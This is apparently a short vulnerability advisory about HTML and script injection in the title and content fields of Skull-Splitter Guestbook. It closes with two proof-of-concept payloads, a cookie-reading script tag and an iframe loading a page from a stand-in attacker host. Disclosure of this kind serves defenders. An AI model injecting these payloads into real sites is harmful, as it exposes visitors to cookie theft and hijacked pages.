source: https://www.securityfocus.com/bid/13632/info

Skull-Splitter Guestbook is prone to multiple HTML injection vulnerabilities. It is possible to inject HTML and script code into the title and content of posted messages.

The attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user, other attacks are also possible. A victim user who views the vulnerable sections of the site would have the attacker-supplied HTML and script code execute in the security context of the affected site.

Skull-Splitter Guestbook versions 1.0, 2.0, and 2.2 have been reported to be vulnerable, however, other versions may be affected as well. 

1. Type in the title or content of msg

<script>alert(document.cookie)</script>

Type in the title or content of msg

2. <iframe src=http://evilhost/evil.php>